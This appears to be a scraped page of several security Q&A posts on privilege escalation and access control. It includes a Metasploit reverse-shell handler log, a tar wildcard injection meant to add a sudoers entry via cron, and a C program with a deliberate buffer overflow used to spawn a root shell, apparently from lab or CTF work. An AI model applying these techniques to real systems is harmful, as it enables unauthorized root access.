pspy processes and privilege escalation [closed]

I’ve been given a task to read the root proccesses on a victim machine by using pspy.

I’ve managed to successfully download the program onto the machine and run it. What Id like to know is if anyone can help me understand the processes Im seeing.

2020/07/19 00:27:59 CMD: UID=0    PID=6725   | /usr/sbin/sshd -D -R  2020/07/19 00:27:59 CMD: UID=106  PID=6726   | sshd: [net]           2020/07/19 00:28:00 CMD: UID=0    PID=6727   | /usr/sbin/sshd -D -R  2020/07/19 00:28:00 CMD: UID=106  PID=6728   | sshd: [net]           2020/07/19 00:28:01 CMD: UID=0    PID=6733   | /bin/sh -c /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/  2020/07/19 00:28:01 CMD: UID=0    PID=6732   | sleep 30  2020/07/19 00:28:01 CMD: UID=0    PID=6731   | /bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/  2020/07/19 00:28:01 CMD: UID=0    PID=6730   | /usr/sbin/CRON -f  2020/07/19 00:28:01 CMD: UID=0    PID=6729   | /usr/sbin/CRON -f  2020/07/19 00:28:31 CMD: UID=0    PID=6735   | /bin/cp /var/backups/.update-motd.d/00-header /var/backups/.update-motd.d/10-help-text /var/backups/.update-motd.d/50-motd-news /var/backups/.update-motd.d/80-esm /var/backups/.update-motd 

Applying “principle of least privilege” when it comes to execs and owners of the company – should they automatically get all permissions if requested?

As an administrator of certain systems in a company I understand and adhere to the “principle of least privilege” — which I’m assuming I don’t need to repeat its definition here, so let’s just say people here get given access to systems only in accordance with what they need for their role and no more. I follow that principle and check carefully whether they can have read-only access in order to carry out the role and if so I give read access only, etc.

I had a request from an executive-level (C-suite) person (“Jack”, let’s say) who is actually one of the five co-owners of the company, to get blanket “sysadmin” level access to a particular system. (I am confident the request has come from Jack himself and isn’t a hacking or phishing attempt, as I verified it with Jack directly.)

Jack is far too important and involved with strategic stuff to need to carry out any day-to-day work with this system, especially anything that would need sysadmin level access, but occasionally wants to get involved in “poking around” in there, as he is technical by background.

I get the sense that he doesn’t like the idea that he is “walled off” from some system although he owns part of the company.

I’m not asking about the interpersonal aspects about this, just the info-sec ones.

Is it accepted info-sec practice to give an owner of the company “sysadmin” access and by doing bypass the “principle of least privilege”? — since, after all, Jack (partly) owns the company so it’s all his stuff anyway!

Or should that still apply, and even the CEO shouldn’t have write-access to a system when they don’t need it as part of their job function?

Metasploit: Issue with upgrading a low privilege shell (sessions -u)

Setup info: I don’t believe this is the issue as I regularly update my system. I’ll add one piece of information as an example. If you would really like to the rest then I can add more in later

metasploit v5.0.89-dev

Payload: I used a custom python script to create a reverse shell from the victim’s computer to the attacker. No problem with the low priv shell in netcat or metasploit. If anyone wants to take a look at the script I can upload it to github and share the link(thought its nothing special, I’d prefer to send the link privately to keep the script as less spread as possible).

Exact Steps I took:

msf5 > use multi/handler msf5 exploit(multi/handler) > set payload windows/x64/shell_reverse_tcp payload => windows/x64/shell_reverse_tcp msf5 exploit(multi/handler) > set LPORT 549  LPORT => 443 msf5 exploit(multi/handler) > set LHOST 10.8.210.314 LHOST => 10.9.139.110 msf5 exploit(multi/handler) > run  [*] Started reverse TCP handler on 10.9.139.110:443  [*] Command shell session 1 opened (10.9.139.110:443 -> 10.9.0.1:50071) at 2020-05-30 22:31:25 -0400   Login: password You have a shell have fun #> background  Background session 1? [y/N]  y msf5 exploit(multi/handler) > sessions -u 1 [*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]  

The Issue:

[*] Upgrading session ID: 1 [*] Starting exploit/multi/handler [*] Started reverse TCP handler on 10.9.139.110:4433  [-] Post failed: NoMethodError undefined method `reverse!' for nil:NilClass [-] Call stack: [-]   /usr/share/metasploit-framework/lib/msf/core/session/provider/single_command_shell.rb:136:in `shell_command_token_win32' [-]   /usr/share/metasploit-framework/lib/msf/core/session/provider/single_command_shell.rb:84:in `shell_command_token' [-]   /usr/share/metasploit-framework/lib/msf/core/post/common.rb:147:in `cmd_exec' [-]   /usr/share/metasploit-framework/lib/msf/core/post/windows/powershell.rb:32:in `have_powershell?' [-]   /usr/share/metasploit-framework/modules/post/multi/manage/shell_to_meterpreter.rb:161:in `run'  

Note: I have taken a look at some of the files, but they seem to be coded in ruby(something I am not familiar with) and the error seems to be related to multiple files, so I have no clue how to really debug this. There also seems to be similar issues posted on github if it helps.

Does sudo ever de-escalate privilege while the program/command/service is running?

For Example

Is it safer to do:

  1. $ sudo [cmd] [args] [enter user password]

or

  1. $   su - [enter root password] # [cmd] [args]   

I always assumed they are the exact same thing, because sudo utilizes setuid-root, so the process that is run as sudo’s first arg is run with the sudo’s effective ID, which is root.

my question is: Does sudo ever eventually drops its effective ID to the normal user’s? Then in that case, number 1 above would be a safer bet, because IF the program/service that sudo is running with is compromised by an attacker, then there is a chance that the attacker is not running as root, because the privilege has already been dropped (kind of like a race condition)? But compare to the number 2, then any program compromised while running as root is detrimental.

Privilege Escalation – WildCard Injection doesn’t work

I have a cronjob that runs a backup script every minutes enter image description here

As you can see, this script is vulnerable a TAR Command Injection because it accepts * (wildcard) as input

enter image description here

I add a 2 files called “checkpoint..” (parameter) for the TAR command where i say to execute the shell script that add a entry to my /etc/sudoers file in order to do a Priv Esc.

enter image description here

In this way, crontab should runs every minutes the backup.sh that executes the TAR command that executes my script shell that add a entry to /etc/sudoers as root.

But it doesn’t work, like you can see the /etc/sudoers is like before.

enter image description here

But if i run the backup.sh script manually, (not using the crontab), it works!

enter image description here

Where am I doing wrong?

Thanks

Why i am not getting root privilege with this way?

#include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h>  void shell() {     setreuid(geteuid(), geteuid());     system("/bin/bash");     }  void sup() { printf("Hey dude ! Waaaaazzaaaaaaaa ?!\n");    }  void main() {  int var; void (*func)()=sup; char buf[128]; fgets(buf,133,stdin); func(); } 

In this code if I change the eip register to the address of shell at the point when my execution is at ret with gdb.Then instead of getting root i get same shell as it was before(user).

But if I instead try to buffer overflow and change the address of func to the address of shell then I get the root privileged shell.

Can anyone please explain why I am not getting the root shell in first case?

How to grant openldap user only a specific privilege

I would like to create an user apart from Admin user who should have access to update password as well as create user in open-ldap. I tried configuring the user with following ldif file. But it is not working as expected and trowing error Unauthorized user while updating password for another user

dn: olcDatabase={1}hdb,cn=config changetype: modify add: olcAccess olcAccess: {1}to * by dn="cn=usrmanager,dc=example,dc=com" write 

Please do help me with appropriate configuration